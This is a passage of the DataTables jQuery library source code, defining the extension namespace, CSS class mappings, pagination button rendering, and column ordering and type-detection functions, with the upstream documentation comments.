manipulated. It is\n\t * also aliased to `jQuery.fn.dataTableExt` for historic reasons.\n\t *  @namespace\n\t *  @extends DataTable.models.ext\n\t */\n\t\n\t\n\t/**\n\t * DataTables extensions\n\t * \n\t * This namespace acts as a collection area for plug-ins that can be used to\n\t * extend DataTables capabilities. Indeed many of the build in methods\n\t * use this method to provide their own capabilities (sorting methods for\n\t * example).\n\t *\n\t * Note that this namespace is aliased to `jQuery.fn.dataTableExt` for legacy\n\t * reasons\n\t *\n\t *  @namespace\n\t */\n\tDataTable.ext = _ext = {\n\t\t/**\n\t\t * Element class names\n\t\t *\n\t\t *  @type object\n\t\t *  @default {}\n\t\t */\n\t\tclasses: {},\n\t\n\t\n\t\t/**\n\t\t * Error reporting.\n\t\t * \n\t\t * How should DataTables report an error. Can take the value 'alert' or\n\t\t * 'throw'\n\t\t *\n\t\t *  @type string\n\t\t *  @default alert\n\t\t */\n\t\terrMode: \"alert\",\n\t\n\t\n\t\t/**\n\t\t * Feature plug-ins.\n\t\t * \n\t\t * This is an array of objects which describe the feature plug-ins that are\n\t\t * available to DataTables. These feature plug-ins are then available for\n\t\t * use through the `dom` initialisation option.\n\t\t * \n\t\t * Each feature plug-in is described by an object which must have the\n\t\t * following properties:\n\t\t * \n\t\t * * `fnInit` - function that is used to initialise the plug-in,\n\t\t * * `cFeature` - a character so the feature can be enabled by the `dom`\n\t\t *   instillation option. This is case sensitive.\n\t\t *\n\t\t * The `fnInit` function has the following input parameters:\n\t\t *\n\t\t * 1. `{object}` DataTables settings object: see\n\t\t *    {@link DataTable.models.oSettings}\n\t\t *\n\t\t * And the following return is expected:\n\t\t * \n\t\t * * {node|null} The element which contains your feature. Note that the\n\t\t *   return may also be void if your plug-in does not require to inject any\n\t\t *   DOM elements into DataTables control (`dom`) - for example this might\n\t\t *   be useful when developing a plug-in which allows table control via\n\t\t *   keyboard entry\n\t\t *\n\t\t *  @type array\n\t\t *\n\t\t *  @example\n\t\t *    $.fn.dataTable.ext.features.push( {\n\t\t *      \"fnInit\": function( oSettings ) {\n\t\t *        return new TableTools( { \"oDTSettings\": oSettings } );\n\t\t *      },\n\t\t *      \"cFeature\": \"T\"\n\t\t *    } );\n\t\t */\n\t\tfeature: [],\n\t\n\t\n\t\t/**\n\t\t * Row searching.\n\t\t * \n\t\t * This method of searching is complimentary to the default type based\n\t\t * searching, and a lot more comprehensive as it allows you complete control\n\t\t * over the searching logic. Each element in this array is a function\n\t\t * (parameters described below) that is called for every row in the table,\n\t\t * and your logic decides if it should be included in the searching data set\n\t\t * or not.\n\t\t *\n\t\t * Searching functions have the following input parameters:\n\t\t *\n\t\t * 1. `{object}` DataTables settings object: see\n\t\t *    {@link DataTable.models.oSettings}\n\t\t * 2. `{array|object}` Data for the row to be processed (same as the\n\t\t *    original format that was passed in as the data source, or an array\n\t\t *    from a DOM data source\n\t\t * 3. `{int}` Row index ({@link DataTable.models.oSettings.aoData}), which\n\t\t *    can be useful to retrieve the `TR` element if you need DOM interaction.\n\t\t *\n\t\t * And the following return is expected:\n\t\t *\n\t\t * * {boolean} Include the row in the searched result set (true) or not\n\t\t *   (false)\n\t\t *\n\t\t * Note that as with the main search ability in DataTables, technically this\n\t\t * is \"filtering\", since it is subtractive. However, for consistency in\n\t\t * naming we call it searching here.\n\t\t *\n\t\t *  @type array\n\t\t *  @default []\n\t\t *\n\t\t *  @example\n\t\t *    // The following example shows custom search being applied to the\n\t\t *    // fourth column (i.e. the data[3] index) based on two input values\n\t\t *    // from the end-user, matching the data in a certain range.\n\t\t *    $.fn.dataTable.ext.search.push(\n\t\t *      function( settings, data, dataIndex ) {\n\t\t *        var min = document.getElementById('min').value * 1;\n\t\t *        var max = document.getElementById('max').value * 1;\n\t\t *        var version = data[3] == \"-\" ? 0 : data[3]*1;\n\t\t *\n\t\t *        if ( min == \"\" && max == \"\" ) {\n\t\t *          return true;\n\t\t *        }\n\t\t *        else if ( min == \"\" && version < max ) {\n\t\t *          return true;\n\t\t *        }\n\t\t *        else if ( min < version && \"\" == max ) {\n\t\t *          return true;\n\t\t *        }\n\t\t *        else if ( min < version && version < max ) {\n\t\t *          return true;\n\t\t *        }\n\t\t *        return false;\n\t\t *      }\n\t\t *    );\n\t\t */\n\t\tsearch: [],\n\t\n\t\n\t\t/**\n\t\t * Internal functions, exposed for used in plug-ins.\n\t\t * \n\t\t * Please note that you should not need to use the internal methods for\n\t\t * anything other than a plug-in (and even then, try to avoid if possible).\n\t\t * The internal function may change between releases.\n\t\t *\n\t\t *  @type object\n\t\t *  @default {}\n\t\t */\n\t\tinternal: {},\n\t\n\t\n\t\t/**\n\t\t * Legacy configuration options. Enable and disable legacy options that\n\t\t * are available in DataTables.\n\t\t *\n\t\t *  @type object\n\t\t */\n\t\tlegacy: {\n\t\t\t/**\n\t\t\t * Enable / disable DataTables 1.9 compatible server-side processing\n\t\t\t * requests\n\t\t\t *\n\t\t\t *  @type boolean\n\t\t\t *  @default false\n\t\t\t */\n\t\t\tajax: false\n\t\t},\n\t\n\t\n\t\t/**\n\t\t * Pagination plug-in methods.\n\t\t * \n\t\t * Each entry in this object is a function and defines which buttons should\n\t\t * be shown by the pagination rendering method that is used for the table:\n\t\t * {@link DataTable.ext.renderer.pageButton}. The renderer addresses how the\n\t\t * buttons are displayed in the document, while the functions here tell it\n\t\t * what buttons to display. This is done by returning an array of button\n\t\t * descriptions (what each button will do).\n\t\t *\n\t\t * Pagination types (the four built in options and any additional plug-in\n\t\t * options defined here) can be used through the `paginationType`\n\t\t * initialisation parameter.\n\t\t *\n\t\t * The functions defined take two parameters:\n\t\t *\n\t\t * 1. `{int} page` The current page index\n\t\t * 2. `{int} pages` The number of pages in the table\n\t\t *\n\t\t * Each function is expected to return an array where each element of the\n\t\t * array can be one of:\n\t\t *\n\t\t * * `first` - Jump to first page when activated\n\t\t * * `last` - Jump to last page when activated\n\t\t * * `previous` - Show previous page when activated\n\t\t * * `next` - Show next page when activated\n\t\t * * `{int}` - Show page of the index given\n\t\t * * `{array}` - A nested array containing the above elements to add a\n\t\t *   containing 'DIV' element (might be useful for styling).\n\t\t *\n\t\t * Note that DataTables v1.9- used this object slightly differently whereby\n\t\t * an object with two functions would be defined for each plug-in. That\n\t\t * ability is still supported by DataTables 1.10+ to provide backwards\n\t\t * compatibility, but this option of use is now decremented and no longer\n\t\t * documented in DataTables 1.10+.\n\t\t *\n\t\t *  @type object\n\t\t *  @default {}\n\t\t *\n\t\t *  @example\n\t\t *    // Show previous, next and current page buttons only\n\t\t *    $.fn.dataTableExt.oPagination.current = function ( page, pages ) {\n\t\t *      return [ 'previous', page, 'next' ];\n\t\t *    };\n\t\t */\n\t\tpager: {},\n\t\n\t\n\t\trenderer: {\n\t\t\tpageButton: {},\n\t\t\theader: {}\n\t\t},\n\t\n\t\n\t\t/**\n\t\t * Ordering plug-ins - custom data source\n\t\t * \n\t\t * The extension options for ordering of data available here is complimentary\n\t\t * to the default type based ordering that DataTables typically uses. It\n\t\t * allows much greater control over the the data that is being used to\n\t\t * order a column, but is necessarily therefore more complex.\n\t\t * \n\t\t * This type of ordering is useful if you want to do ordering based on data\n\t\t * live from the DOM (for example the contents of an 'input' element) rather\n\t\t * than just the static string that DataTables knows of.\n\t\t * \n\t\t * The way these plug-ins work is that you create an array of the values you\n\t\t * wish to be ordering for the column in question and then return that\n\t\t * array. The data in the array much be in the index order of the rows in\n\t\t * the table (not the currently ordering order!). Which order data gathering\n\t\t * function is run here depends on the `dt-init columns.orderDataType`\n\t\t * parameter that is used for the column (if any).\n\t\t *\n\t\t * The functions defined take two parameters:\n\t\t *\n\t\t * 1. `{object}` DataTables settings object: see\n\t\t *    {@link DataTable.models.oSettings}\n\t\t * 2. `{int}` Target column index\n\t\t *\n\t\t * Each function is expected to return an array:\n\t\t *\n\t\t * * `{array}` Data for the column to be ordering upon\n\t\t *\n\t\t *  @type array\n\t\t *\n\t\t *  @example\n\t\t *    // Ordering using `input` node values\n\t\t *    $.fn.dataTable.ext.order['dom-text'] = function  ( settings, col )\n\t\t *    {\n\t\t *      return this.api().column( col, {order:'index'} ).nodes().map( function ( td, i ) {\n\t\t *        return $('input', td).val();\n\t\t *      } );\n\t\t *    }\n\t\t */\n\t\torder: {},\n\t\n\t\n\t\t/**\n\t\t * Type based plug-ins.\n\t\t *\n\t\t * Each column in DataTables has a type assigned to it, either by automatic\n\t\t * detection or by direct assignment using the `type` option for the column.\n\t\t * The type of a column will effect how it is ordering and search (plug-ins\n\t\t * can also make use of the column type if required).\n\t\t *\n\t\t * @namespace\n\t\t */\n\t\ttype: {\n\t\t\t/**\n\t\t\t * Type detection functions.\n\t\t\t *\n\t\t\t * The functions defined in this object are used to automatically detect\n\t\t\t * a column's type, making initialisation of DataTables super easy, even\n\t\t\t * when complex data is in the table.\n\t\t\t *\n\t\t\t * The functions defined take a single parameter:\n\t\t\t *\n\t\t     *  1. `{*}` Data from the column cell to be analysed\n\t\t\t *\n\t\t\t * Each function is expected to return:\n\t\t\t *\n\t\t\t * * `{string|null}` Data type detected, or null if unknown (and thus\n\t\t\t *   pass it on to the other type detection functions.\n\t\t\t *\n\t\t\t *  @type array\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    // Currency type detection plug-in:\n\t\t\t *    $.fn.dataTable.ext.type.detect.push(\n\t\t\t *      function ( data ) {\n\t\t\t *        // Check the numeric part\n\t\t\t *        if ( ! $.isNumeric( data.substring(1) ) ) {\n\t\t\t *          return null;\n\t\t\t *        }\n\t\t\t *\n\t\t\t *        // Check prefixed by currency\n\t\t\t *        if ( data.charAt(0) == '$' || data.charAt(0) == '&pound;' ) {\n\t\t\t *          return 'currency';\n\t\t\t *        }\n\t\t\t *        return null;\n\t\t\t *      }\n\t\t\t *    );\n\t\t\t */\n\t\t\tdetect: [],\n\t\n\t\n\t\t\t/**\n\t\t\t * Type based search formatting.\n\t\t\t *\n\t\t\t * The type based searching functions can be used to pre-format the\n\t\t\t * data to be search on. For example, it can be used to strip HTML\n\t\t\t * tags or to de-format telephone numbers for numeric only searching.\n\t\t\t *\n\t\t\t * Note that is a search is not defined for a column of a given type,\n\t\t\t * no search formatting will be performed.\n\t\t\t * \n\t\t\t * Pre-processing of searching data plug-ins - When you assign the sType\n\t\t\t * for a column (or have it automatically detected for you by DataTables\n\t\t\t * or a type detection plug-in), you will typically be using this for\n\t\t\t * custom sorting, but it can also be used to provide custom searching\n\t\t\t * by allowing you to pre-processing the data and returning the data in\n\t\t\t * the format that should be searched upon. This is done by adding\n\t\t\t * functions this object with a parameter name which matches the sType\n\t\t\t * for that target column. This is the corollary of <i>afnSortData</i>\n\t\t\t * for searching data.\n\t\t\t *\n\t\t\t * The functions defined take a single parameter:\n\t\t\t *\n\t\t     *  1. `{*}` Data from the column cell to be prepared for searching\n\t\t\t *\n\t\t\t * Each function is expected to return:\n\t\t\t *\n\t\t\t * * `{string|null}` Formatted string that will be used for the searching.\n\t\t\t *\n\t\t\t *  @type object\n\t\t\t *  @default {}\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    $.fn.dataTable.ext.type.search['title-numeric'] = function ( d ) {\n\t\t\t *      return d.replace(/\\n/g,\" \").replace( /<.*?>/g, \"\" );\n\t\t\t *    }\n\t\t\t */\n\t\t\tsearch: {},\n\t\n\t\n\t\t\t/**\n\t\t\t * Type based ordering.\n\t\t\t *\n\t\t\t * The column type tells DataTables what ordering to apply to the table\n\t\t\t * when a column is sorted upon. The order for each type that is defined,\n\t\t\t * is defined by the functions available in this object.\n\t\t\t *\n\t\t\t * Each ordering option can be described by three properties added to\n\t\t\t * this object:\n\t\t\t *\n\t\t\t * * `{type}-pre` - Pre-formatting function\n\t\t\t * * `{type}-asc` - Ascending order function\n\t\t\t * * `{type}-desc` - Descending order function\n\t\t\t *\n\t\t\t * All three can be used together, only `{type}-pre` or only\n\t\t\t * `{type}-asc` and `{type}-desc` together. It is generally recommended\n\t\t\t * that only `{type}-pre` is used, as this provides the optimal\n\t\t\t * implementation in terms of speed, although the others are provided\n\t\t\t * for compatibility with existing Javascript sort functions.\n\t\t\t *\n\t\t\t * `{type}-pre`: Functions defined take a single parameter:\n\t\t\t *\n\t\t     *  1. `{*}` Data from the column cell to be prepared for ordering\n\t\t\t *\n\t\t\t * And return:\n\t\t\t *\n\t\t\t * * `{*}` Data to be sorted upon\n\t\t\t *\n\t\t\t * `{type}-asc` and `{type}-desc`: Functions are typical Javascript sort\n\t\t\t * functions, taking two parameters:\n\t\t\t *\n\t\t     *  1. `{*}` Data to compare to the second parameter\n\t\t     *  2. `{*}` Data to compare to the first parameter\n\t\t\t *\n\t\t\t * And returning:\n\t\t\t *\n\t\t\t * * `{*}` Ordering match: <0 if first parameter should be sorted lower\n\t\t\t *   than the second parameter, ===0 if the two parameters are equal and\n\t\t\t *   >0 if the first parameter should be sorted height than the second\n\t\t\t *   parameter.\n\t\t\t * \n\t\t\t *  @type object\n\t\t\t *  @default {}\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    // Numeric ordering of formatted numbers with a pre-formatter\n\t\t\t *    $.extend( $.fn.dataTable.ext.type.order, {\n\t\t\t *      \"string-pre\": function(x) {\n\t\t\t *        a = (a === \"-\" || a === \"\") ? 0 : a.replace( /[^\\d\\-\\.]/g, \"\" );\n\t\t\t *        return parseFloat( a );\n\t\t\t *      }\n\t\t\t *    } );\n\t\t\t *\n\t\t\t *  @example\n\t\t\t *    // Case-sensitive string ordering, with no pre-formatting method\n\t\t\t *    $.extend( $.fn.dataTable.ext.order, {\n\t\t\t *      \"string-case-asc\": function(x,y) {\n\t\t\t *        return ((x < y) ? -1 : ((x > y) ? 1 : 0));\n\t\t\t *      },\n\t\t\t *      \"string-case-desc\": function(x,y) {\n\t\t\t *        return ((x < y) ? 1 : ((x > y) ? -1 : 0));\n\t\t\t *      }\n\t\t\t *    } );\n\t\t\t */\n\t\t\torder: {}\n\t\t},\n\t\n\t\t/**\n\t\t * Unique DataTables instance counter\n\t\t *\n\t\t * @type int\n\t\t * @private\n\t\t */\n\t\t_unique: 0,\n\t\n\t\n\t\t//\n\t\t// Depreciated\n\t\t// The following properties are retained for backwards compatiblity only.\n\t\t// The should not be used in new projects and will be removed in a future\n\t\t// version\n\t\t//\n\t\n\t\t/**\n\t\t * Version check function.\n\t\t *  @type function\n\t\t *  @depreciated Since 1.10\n\t\t */\n\t\tfnVersionCheck: DataTable.fnVersionCheck,\n\t\n\t\n\t\t/**\n\t\t * Index for what 'this' index API functions should use\n\t\t *  @type int\n\t\t *  @deprecated Since v1.10\n\t\t */\n\t\tiApiIndex: 0,\n\t\n\t\n\t\t/**\n\t\t * jQuery UI class container\n\t\t *  @type object\n\t\t *  @deprecated Since v1.10\n\t\t */\n\t\toJUIClasses: {},\n\t\n\t\n\t\t/**\n\t\t * Software version\n\t\t *  @type string\n\t\t *  @deprecated Since v1.10\n\t\t */\n\t\tsVersion: DataTable.version\n\t};\n\t\n\t\n\t//\n\t// Backwards compatibility. Alias to pre 1.10 Hungarian notation counter parts\n\t//\n\t$.extend( _ext, {\n\t\tafnFiltering: _ext.filter,\n\t\taTypes:       _ext.type.detect,\n\t\tofnSearch:    _ext.type.search,\n\t\toSort:        _ext.type.order,\n\t\tafnSortData:  _ext.order,\n\t\taoFeatures:   _ext.feature,\n\t\toApi:         _ext.internal,\n\t\toStdClasses:  _ext.classes,\n\t\toPagination:  _ext.pager\n\t} );\n\t\n\t\n\t$.extend( DataTable.ext.classes, {\n\t\t\"sTable\": \"dataTable\",\n\t\t\"sNoFooter\": \"no-footer\",\n\t\n\t\t/* Paging buttons */\n\t\t\"sPageButton\": \"paginate_button\",\n\t\t\"sPageButtonActive\": \"current\",\n\t\t\"sPageButtonDisabled\": \"disabled\",\n\t\n\t\t/* Striping classes */\n\t\t\"sStripeOdd\": \"odd\",\n\t\t\"sStripeEven\": \"even\",\n\t\n\t\t/* Empty row */\n\t\t\"sRowEmpty\": \"dataTables_empty\",\n\t\n\t\t/* Features */\n\t\t\"sWrapper\": \"dataTables_wrapper\",\n\t\t\"sFilter\": \"dataTables_filter\",\n\t\t\"sInfo\": \"dataTables_info\",\n\t\t\"sPaging\": \"dataTables_paginate paging_\", /* Note that the type is postfixed */\n\t\t\"sLength\": \"dataTables_length\",\n\t\t\"sProcessing\": \"dataTables_processing\",\n\t\n\t\t/* Sorting */\n\t\t\"sSortAsc\": \"sorting_asc\",\n\t\t\"sSortDesc\": \"sorting_desc\",\n\t\t\"sSortable\": \"sorting\", /* Sortable in both directions */\n\t\t\"sSortableAsc\": \"sorting_asc_disabled\",\n\t\t\"sSortableDesc\": \"sorting_desc_disabled\",\n\t\t\"sSortableNone\": \"sorting_disabled\",\n\t\t\"sSortColumn\": \"sorting_\", /* Note that an int is postfixed for the sorting order */\n\t\n\t\t/* Filtering */\n\t\t\"sFilterInput\": \"\",\n\t\n\t\t/* Page length */\n\t\t\"sLengthSelect\": \"\",\n\t\n\t\t/* Scrolling */\n\t\t\"sScrollWrapper\": \"dataTables_scroll\",\n\t\t\"sScrollHead\": \"dataTables_scrollHead\",\n\t\t\"sScrollHeadInner\": \"dataTables_scrollHeadInner\",\n\t\t\"sScrollBody\": \"dataTables_scrollBody\",\n\t\t\"sScrollFoot\": \"dataTables_scrollFoot\",\n\t\t\"sScrollFootInner\": \"dataTables_scrollFootInner\",\n\t\n\t\t/* Misc */\n\t\t\"sHeaderTH\": \"\",\n\t\t\"sFooterTH\": \"\",\n\t\n\t\t// Deprecated\n\t\t\"sSortJUIAsc\": \"\",\n\t\t\"sSortJUIDesc\": \"\",\n\t\t\"sSortJUI\": \"\",\n\t\t\"sSortJUIAscAllowed\": \"\",\n\t\t\"sSortJUIDescAllowed\": \"\",\n\t\t\"sSortJUIWrapper\": \"\",\n\t\t\"sSortIcon\": \"\",\n\t\t\"sJUIHeader\": \"\",\n\t\t\"sJUIFooter\": \"\"\n\t} );\n\t\n\t\n\t(function() {\n\t\n\t// Reused strings for better compression. Closure compiler appears to have a\n\t// weird edge case where it is trying to expand strings rather than use the\n\t// variable version. This results in about 200 bytes being added, for very\n\t// little preference benefit since it this run on script load only.\n\tvar _empty = '';\n\t_empty = '';\n\t\n\tvar _stateDefault = _empty + 'ui-state-default';\n\tvar _sortIcon     = _empty + 'css_right ui-icon ui-icon-';\n\tvar _headerFooter = _empty + 'fg-toolbar ui-toolbar ui-widget-header ui-helper-clearfix';\n\t\n\t$.extend( DataTable.ext.oJUIClasses, DataTable.ext.classes, {\n\t\t/* Full numbers paging buttons */\n\t\t\"sPageButton\":         \"fg-button ui-button \"+_stateDefault,\n\t\t\"sPageButtonActive\":   \"ui-state-disabled\",\n\t\t\"sPageButtonDisabled\": \"ui-state-disabled\",\n\t\n\t\t/* Features */\n\t\t\"sPaging\": \"dataTables_paginate fg-buttonset ui-buttonset fg-buttonset-multi \"+\n\t\t\t\"ui-buttonset-multi paging_\", /* Note that the type is postfixed */\n\t\n\t\t/* Sorting */\n\t\t\"sSortAsc\":            _stateDefault+\" sorting_asc\",\n\t\t\"sSortDesc\":           _stateDefault+\" sorting_desc\",\n\t\t\"sSortable\":           _stateDefault+\" sorting\",\n\t\t\"sSortableAsc\":        _stateDefault+\" sorting_asc_disabled\",\n\t\t\"sSortableDesc\":       _stateDefault+\" sorting_desc_disabled\",\n\t\t\"sSortableNone\":       _stateDefault+\" sorting_disabled\",\n\t\t\"sSortJUIAsc\":         _sortIcon+\"triangle-1-n\",\n\t\t\"sSortJUIDesc\":        _sortIcon+\"triangle-1-s\",\n\t\t\"sSortJUI\":            _sortIcon+\"carat-2-n-s\",\n\t\t\"sSortJUIAscAllowed\":  _sortIcon+\"carat-1-n\",\n\t\t\"sSortJUIDescAllowed\": _sortIcon+\"carat-1-s\",\n\t\t\"sSortJUIWrapper\":     \"DataTables_sort_wrapper\",\n\t\t\"sSortIcon\":           \"DataTables_sort_icon\",\n\t\n\t\t/* Scrolling */\n\t\t\"sScrollHead\": \"dataTables_scrollHead \"+_stateDefault,\n\t\t\"sScrollFoot\": \"dataTables_scrollFoot \"+_stateDefault,\n\t\n\t\t/* Misc */\n\t\t\"sHeaderTH\":  _stateDefault,\n\t\t\"sFooterTH\":  _stateDefault,\n\t\t\"sJUIHeader\": _headerFooter+\" ui-corner-tl ui-corner-tr\",\n\t\t\"sJUIFooter\": _headerFooter+\" ui-corner-bl ui-corner-br\"\n\t} );\n\t\n\t}());\n\t\n\t\n\t\n\tvar extPagination = DataTable.ext.pager;\n\t\n\tfunction _numbers ( page, pages ) {\n\t\tvar\n\t\t\tnumbers = [],\n\t\t\tbuttons = extPagination.numbers_length,\n\t\t\thalf = Math.floor( buttons / 2 ),\n\t\t\ti = 1;\n\t\n\t\tif ( pages <= buttons ) {\n\t\t\tnumbers = _range( 0, pages );\n\t\t}\n\t\telse if ( page <= half ) {\n\t\t\tnumbers = _range( 0, buttons-2 );\n\t\t\tnumbers.push( 'ellipsis' );\n\t\t\tnumbers.push( pages-1 );\n\t\t}\n\t\telse if ( page >= pages - 1 - half ) {\n\t\t\tnumbers = _range( pages-(buttons-2), pages );\n\t\t\tnumbers.splice( 0, 0, 'ellipsis' ); // no unshift in ie6\n\t\t\tnumbers.splice( 0, 0, 0 );\n\t\t}\n\t\telse {\n\t\t\tnumbers = _range( page-1, page+2 );\n\t\t\tnumbers.push( 'ellipsis' );\n\t\t\tnumbers.push( pages-1 );\n\t\t\tnumbers.splice( 0, 0, 'ellipsis' );\n\t\t\tnumbers.splice( 0, 0, 0 );\n\t\t}\n\t\n\t\tnumbers.DT_el = 'span';\n\t\treturn numbers;\n\t}\n\t\n\t\n\t$.extend( extPagination, {\n\t\tsimple: function ( page, pages ) {\n\t\t\treturn [ 'previous', 'next' ];\n\t\t},\n\t\n\t\tfull: function ( page, pages ) {\n\t\t\treturn [  'first', 'previous', 'next', 'last' ];\n\t\t},\n\t\n\t\tsimple_numbers: function ( page, pages ) {\n\t\t\treturn [ 'previous', _numbers(page, pages), 'next' ];\n\t\t},\n\t\n\t\tfull_numbers: function ( page, pages ) {\n\t\t\treturn [ 'first', 'previous', _numbers(page, pages), 'next', 'last' ];\n\t\t},\n\t\n\t\t// For testing and plug-ins to use\n\t\t_numbers: _numbers,\n\t\tnumbers_length: 7\n\t} );\n\t\n\t\n\t$.extend( true, DataTable.ext.renderer, {\n\t\tpageButton: {\n\t\t\t_: function ( settings, host, idx, buttons, page, pages ) {\n\t\t\t\tvar classes = settings.oClasses;\n\t\t\t\tvar lang = settings.oLanguage.oPaginate;\n\t\t\t\tvar btnDisplay, btnClass;\n\t\n\t\t\t\tvar attach = function( container, buttons ) {\n\t\t\t\t\tvar i, ien, node, button;\n\t\t\t\t\tvar clickHandler = function ( e ) {\n\t\t\t\t\t\t_fnPageChange( settings, e.data.action, true );\n\t\t\t\t\t};\n\t\n\t\t\t\t\tfor ( i=0, ien=buttons.length ; i<ien ; i++ ) {\n\t\t\t\t\t\tbutton = buttons[i];\n\t\n\t\t\t\t\t\tif ( $.isArray( button ) ) {\n\t\t\t\t\t\t\tvar inner = $( '<'+(button.DT_el || 'div')+'/>' )\n\t\t\t\t\t\t\t\t.appendTo( container );\n\t\t\t\t\t\t\tattach( inner, button );\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tbtnDisplay = '';\n\t\t\t\t\t\t\tbtnClass = '';\n\t\n\t\t\t\t\t\t\tswitch ( button ) {\n\t\t\t\t\t\t\t\tcase 'ellipsis':\n\t\t\t\t\t\t\t\t\tcontainer.append('<span>&hellip;</span>');\n\t\t\t\t\t\t\t\t\tbreak;\n\t\n\t\t\t\t\t\t\t\tcase 'first':\n\t\t\t\t\t\t\t\t\tbtnDisplay = lang.sFirst;\n\t\t\t\t\t\t\t\t\tbtnClass = button + (page > 0 ?\n\t\t\t\t\t\t\t\t\t\t'' : ' '+classes.sPageButtonDisabled);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\n\t\t\t\t\t\t\t\tcase 'previous':\n\t\t\t\t\t\t\t\t\tbtnDisplay = lang.sPrevious;\n\t\t\t\t\t\t\t\t\tbtnClass = button + (page > 0 ?\n\t\t\t\t\t\t\t\t\t\t'' : ' '+classes.sPageButtonDisabled);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\n\t\t\t\t\t\t\t\tcase 'next':\n\t\t\t\t\t\t\t\t\tbtnDisplay = lang.sNext;\n\t\t\t\t\t\t\t\t\tbtnClass = button + (page < pages-1 ?\n\t\t\t\t\t\t\t\t\t\t'' : ' '+classes.sPageButtonDisabled);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\n\t\t\t\t\t\t\t\tcase 'last':\n\t\t\t\t\t\t\t\t\tbtnDisplay = lang.sLast;\n\t\t\t\t\t\t\t\t\tbtnClass = button + (page < pages-1 ?\n\t\t\t\t\t\t\t\t\t\t'' : ' '+classes.sPageButtonDisabled);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\n\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\tbtnDisplay = button + 1;\n\t\t\t\t\t\t\t\t\tbtnClass = page === button ?\n\t\t\t\t\t\t\t\t\t\tclasses.sPageButtonActive : '';\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\n\t\t\t\t\t\t\tif ( btnDisplay ) {\n\t\t\t\t\t\t\t\tnode = $('<a>', {\n\t\t\t\t\t\t\t\t\t\t'class': classes.sPageButton+' '+btnClass,\n\t\t\t\t\t\t\t\t\t\t'aria-controls': settings.sTableId,\n\t\t\t\t\t\t\t\t\t\t'tabindex': settings.iTabIndex,\n\t\t\t\t\t\t\t\t\t\t'id': idx === 0 && typeof button === 'string' ?\n\t\t\t\t\t\t\t\t\t\t\tsettings.sTableId +'_'+ button :\n\t\t\t\t\t\t\t\t\t\t\tnull\n\t\t\t\t\t\t\t\t\t} )\n\t\t\t\t\t\t\t\t\t.html( btnDisplay )\n\t\t\t\t\t\t\t\t\t.appendTo( container );\n\t\n\t\t\t\t\t\t\t\t_fnBindAction(\n\t\t\t\t\t\t\t\t\tnode, {action: button}, clickHandler\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t};\n\t\n\t\t\t\tattach( $(host).empty(), buttons );\n\t\t\t}\n\t\t}\n\t} );\n\t\n\t\n\t\n\tvar __numericReplace = function ( d, re1, re2 ) {\n\t\tif ( !d || d === '-' ) {\n\t\t\treturn -Infinity;\n\t\t}\n\t\n\t\tif ( d.replace ) {\n\t\t\tif ( re1 ) {\n\t\t\t\td = d.replace( re1, '' );\n\t\t\t}\n\t\n\t\t\tif ( re2 ) {\n\t\t\t\td = d.replace( re2, '' );\n\t\t\t}\n\t\t}\n\t\n\t\treturn d * 1;\n\t};\n\t\n\t\n\t$.extend( DataTable.ext.type.order, {\n\t\t// Dates\n\t\t\"date-pre\": function ( d )\n\t\t{\n\t\t\treturn Date.parse( d ) || 0;\n\t\t},\n\t\n\t\t// Plain numbers\n\t\t\"numeric-pre\": function ( d )\n\t\t{\n\t\t\treturn __numericReplace( d );\n\t\t},\n\t\n\t\t// Formatted numbers\n\t\t\"numeric-fmt-pre\": function ( d )\n\t\t{\n\t\t\treturn __numericReplace( d, _re_formatted_numeric );\n\t\t},\n\t\n\t\t// HTML numeric\n\t\t\"html-numeric-pre\": function ( d )\n\t\t{\n\t\t\treturn __numericReplace( d, _re_html );\n\t\t},\n\t\n\t\t// HTML numeric, formatted\n\t\t\"html-numeric-fmt-pre\": function ( d )\n\t\t{\n\t\t\treturn __numericReplace( d, _re_html, _re_formatted_numeric );\n\t\t},\n\t\n\t\t// html\n\t\t\"html-pre\": function ( a )\n\t\t{\n\t\t\treturn a.replace ?\n\t\t\t\ta.replace( /<.*?>/g, \"\" ).toLowerCase() :\n\t\t\t\ta+'';\n\t\t},\n\t\n\t\t// string\n\t\t\"string-pre\": function ( a )\n\t\t{\n\t\t\treturn typeof a === 'string' ?\n\t\t\t\ta.toLowerCase() :\n\t\t\t\t! a || ! a.toString ?\n\t\t\t\t\t'' :\n\t\t\t\t\ta.toString();\n\t\t},\n\t\n\t\t// string-asc and -desc are retained only for compatibility with the old\n\t\t// sort methods\n\t\t\"string-asc\": function ( x, y )\n\t\t{\n\t\t\treturn ((x < y) ? -1 : ((x > y) ? 1 : 0));\n\t\t},\n\t\n\t\t\"string-desc\": function ( x, y )\n\t\t{\n\t\t\treturn ((x < y) ? 1 : ((x > y) ? -1 : 0));\n\t\t}\n\t} );\n\t\n\t\n\t// Built in type detection. See model.ext.aTypes for information about\n\t// what is required from this methods.\n\t$.extend( DataTable.ext.type.detect, [\n\t\t// Plain numbers - first since V8 detects some plain numbers as dates\n\t\t// e.g. Date.parse('55') (but not all, e.g. Date.parse('22')...).\n\t\tfunction ( d )\n\t\t{\n\t\t\treturn _isNumber( d ) ? 'numeric' : null;\n\t\t},\n\t\n\t\t// Dates (only those recognised by the browser's Date.parse)\n\t\tfunction ( d )\n\t\t{\n\t\t\t// V8 will remove any unknown characters at the start of the expression,\n\t\t\t// leading to false matches such as `$245.12` being a valid date. See\n\t\t\t// forum thread 18941 for detail.\n\t\t\tif ( d && ! _re_date_start.test(d) ) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\tvar parsed = Date.parse(d);\n\t\t\treturn (parsed !== null && !isNaN(parsed)) || _empty(d) ? 'date' : null;\n\t\t},\n\t\n\t\t// Formatted numbers\n\t\tfunction ( d )\n\t\t{\n\t\t\treturn _isNumber( d, true ) ? 'numeric-fmt' : null;\n\t\t},\n\t\n\t\t// HTML numeric\n\t\tfunction ( d 